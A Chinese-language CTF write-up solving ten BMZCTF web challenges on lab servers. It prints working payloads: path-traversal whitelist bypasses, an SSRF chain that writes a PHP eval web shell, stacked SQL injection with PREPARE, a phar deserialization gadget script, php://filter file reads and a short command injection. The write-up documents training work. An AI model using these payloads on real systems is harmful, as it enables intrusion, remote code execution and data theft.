BMZCTF-Web WriteUp

Web 题

hctf_2018_warmup

hctf_2018_warmup
打开后是一张图片。
index.php
查看源码发现source.php
index源码
访问,得到一串代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

对其进行分析:

<?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];#白名单
            if (! isset($page) || !is_string($page)) {
    
      
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
       #如果在白名单中,则返回true
                return true;
            }

            $_page = mb_substr(    #取?之前的内容赋给$_page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { #看$_page是否在白名单中
                return true;
            }

            $_page = urldecode($page);  #进行url编码
            $_page = mb_substr(    #取?之前的内容赋给$_page
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

其中进行了两次的白名单检测和一次Url编码。先传入字符串source,hint进行测试。
传入source,发现源码重复出现,说明存在文件读取漏洞,
传入hint,发现一个字符串,flag not here, and flag in /flaaagg,提示flag在/flaaagg中,可/flaaagg不在白名单中。
需要对白名单进行绕过。
必须传入的字符串有:hintsource,和/flaaagg,先传入file=/flaaagg,发现不能读取,
联想到过滤中的问号,构建传参hint?/flaaagg,传入file=hint?/flaaagg,发现无回显。可能是文件不存在,所以无回显。
使用../进行跨目录,file=hint?../../../../../flaaagg,可以得到flag。
原理:
?前的内容将被白名单过滤,hint?..被当作一个目录,未被当成文件处理。

ssrfme

打开网页即可看到源码:
首页源码
分析源码:
传入path的内容不能含有”…”,传入file的内容必须以’http://127.0.0.1/'开头。
尝试传入file=http://127.0.0.1/&path=shell.php
第一次尝试

回显成功写入文件。访问下,看看里面有什么。
第一次回显

看到,把index.php的内容写了过来。说明可以文件写入,尝试写入phpinfo:
file=http://127.0.0.1/<?php phpinfo();?>&path=shell.php
phpinfo

返回为空。说明没有<?php phpinfo();?>这个文件。只能将要写入的内容放在Path参数里,可path还要传文件名。有点矛盾。
先试下:
file=http://127.0.0.1/?path=<?php phpinfo();?>&path=shell.php
geeker

说明在127.0.0.1后面有?必须有file参数。继续构建
file=http://127.0.0.1/ &path=<?php phpinfo();?>&path=shell.php
在这里插入图片描述

虽然写入成功,但中间的phpinfo没有写入。继续构建
file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=shell.php
在这里插入图片描述

说明%26path=<?php phpinfo();?>这个文件不存在(phpinfo被当成文件名解析),继续构建:
file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo(); ?>&path=shell.php
在这里插入图片描述

成功写入phpinfo。(第一个file传入的是file=http://127.0.0.1/index.php,第二个file传入的是phpinfo。第二个file被当做参数传入到第一个file里。)
写入一句话:
file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=<?php !@eval($_GET['cmd']); ?>&path=shell.php
在这里插入图片描述

cmd传入system(‘cat /flag’);就可以得到flag

强网杯 2019 随便注

打开网页,是一个输入框:
在这里插入图片描述

输入1,并提交:
在这里插入图片描述

看到返回数组,测试是否存在注入点:输入1‘
在这里插入图片描述

返回报错。
输入1‘ #
在这里插入图片描述

返回正常
尝试手工注入:
1、输入1‘ order by *,测试能返回几列,多次尝试,*处为2,即:1’ order by 2能返回正常。
在这里插入图片描述

再试着输入select测试返回点:1’ union select 1,2 #
在这里插入图片描述

看到好多字符被过滤。尝试sqlmap 只能爆出库名为supersqli
尝试堆叠注入
输入:1’; show databases; #
在这里插入图片描述

看到了返回的库名
再看看表名有哪些:1’;show tables; #
在这里插入图片描述

看到有两张表:分别为flagg和words
分别看看都有哪些列:1’;show columns from flagg #
在这里插入图片描述

看到了我们想要flag列。下面就是想如何读取里面的内容了。
Select 被过滤,无法正常查询。只能拼接查询语句:
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from flagg');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
在这里插入图片描述

得到flag。

hitcon_2017_ssrfme

打开网页后是一段代码:
在这里插入图片描述

看到escapeshellarg,就想到了命令执行漏洞。当escapeshellarg在参数位时,过滤将不起作用。而在倒数第二行file_put_contents中,escapeshellarg被放到了参数位。因此,可以命令执行。
最上面的代码是创建一个沙盒。并在下面创建文件夹。文件夹名是orange加上访问者的ip地址的md5值。Ip地址通过ip138查询即可。

我们先输入:?url=…/&filename=123
再访问sandbox/8411192b0e571e9d15a9b3a080de90d0/123。可以看到返回了…/的目录结构:
在这里插入图片描述

于是输入:?url=/&filename=123。让其回显根目录结构:
在这里插入图片描述

我们看到了flag文件。是我们想要访问的。
继续输入:?url=/flag&filename=123
在这里插入图片描述

得到了一个图片,不知道是什么东西,用curl访问一下:
在这里插入图片描述

得到了flag

n1ctf/hard_php

打开页面,是一个登录框,带有验证码。
在这里插入图片描述

进行目录扫描:
在这里插入图片描述

发现index.php~,进行访问:
在这里插入图片描述

可以看到源码
Action参数可以访问文件,试用…/…/…/…/etc/passwd看能不能穿越目录访问:
在这里插入图片描述

看到可以访问,再试试…/…/…/…/flag
在这里插入图片描述

得到了flag

hctf_cake_php

打开网页后,是一个登录框,下面有注册,先随便注册一个账号并登录,发现是一个网盘
在这里插入图片描述
尝试上传文件,发现对后缀进行了过滤。
在这里插入图片描述
点击下载并抓包:
修改文件名为’/var/www/html/index.php’
发现可以下载文件。先下载index.php,查看源码。

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

在源码中还看到了login.php和class.php分别下载,并查看源码:
Login.php:

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

Class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

再下载首页可看到的download.php 和 delete.php,并查看源码:
Download.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

Delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

在download.php中,过滤了flag,不能直接查看。并且指定了目录为/etc/tmp
在delete.php中,指定了目录为沙盒的根目录,
在class.php中,close方法会包含文件。
在download.php调用了close方法,却过滤了flag,不好读取。暂时不用。
Class.php中Filelist类有两个魔法函数:function __call和function __destruct()。
function __call会遍历files数据,并执行func()。结果会通过__destruct()方法打印出来。
User类中存在close方法,并且该方法在对象销毁时执行。
因此,如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
使用phar进行反序列化

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

修改后缀为jpg,再将文件上传,并在删除时抓包,然后修改文件名后执行,就可以得到flag:
在这里插入图片描述

SCTF 2018_Simple PHP

打开网页后,是一个登录框
在这里插入图片描述

目录扫描也没有什么结果,使用sqlmpay也没结果,爆破admin也没结果,最后试了试php伪协议,可以文件,使用filter的base64读取/flag文件:
在这里插入图片描述

Base64解密后就得到flag

在这里插入图片描述

2018_网鼎杯_Comment

打开网页,发现为一个留言版。
在这里插入图片描述
尝试发贴,需要登录:
在这里插入图片描述
根据提示,爆破密码:
在这里插入图片描述
***的位置为666
尝试xss,无果:

在这里插入图片描述
会进行过滤,简单试试绕过无果。
尝试二次注入。
在发贴的title位置无果
在这里插入图片描述
在这里插入图片描述
尝试category位置:
在这里插入图片描述
在留言位置回复*/#没有回显。
尝试content位置:
在这里插入图片描述
在这里插入图片描述
所以category可能存在注入
再次进行尝试。
在这里插入图片描述
在留言处输入456*/#
在这里插入图片描述
可以看到回显是123,而不是刚输入的值。可以有回显。试着读取数据库:
在这里插入图片描述
在留言处输入:*/#
在这里插入图片描述
可以看到返回了数据库为ctf,可以执行sql语句。
试着读取文件
在这里插入图片描述
在留言处输入:*/#
在这里插入图片描述
就可以看到flag了

rcee

打开网页,可以看到源码
在这里插入图片描述
存在命令执行,但要求长度小于8。
首先寻找flag。先在根目录下寻找:输入?command=ls /

在这里插入图片描述
可以看到flag就在根目录下。
进行访问:

在这里插入图片描述
没有回显。因为空格被处理成%20,当成3个字符,要执行的命令长度超过8了。
使用*代替,输入:?command=cat /f*
在这里插入图片描述
可以看到,把f开关的所有文件内容都显示了出来。也可以看到flag

sqli_double

打开页面即可看到源码:
在这里插入图片描述
有两个页面,一个是修改密码的(需要知道用户名和邮箱),一个是登录页面。
因为我们不知道用户名和邮箱,先试试登录页面:
在这里插入图片描述
回显提示登录失败,我们不知是密码还是用户名错了,尝试使用sqlmap进行爆破:
在这里插入图片描述
在这里插入图片描述
可以看到已经试出了数据库类型为mysql
爆库:
在这里插入图片描述
爆表:
在这里插入图片描述
爆内容:
在这里插入图片描述
现在我们知道了用户名和邮箱,就可以修改密码了。修改密码后登录,即可看到flag:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Crazy198410/article/details/109711622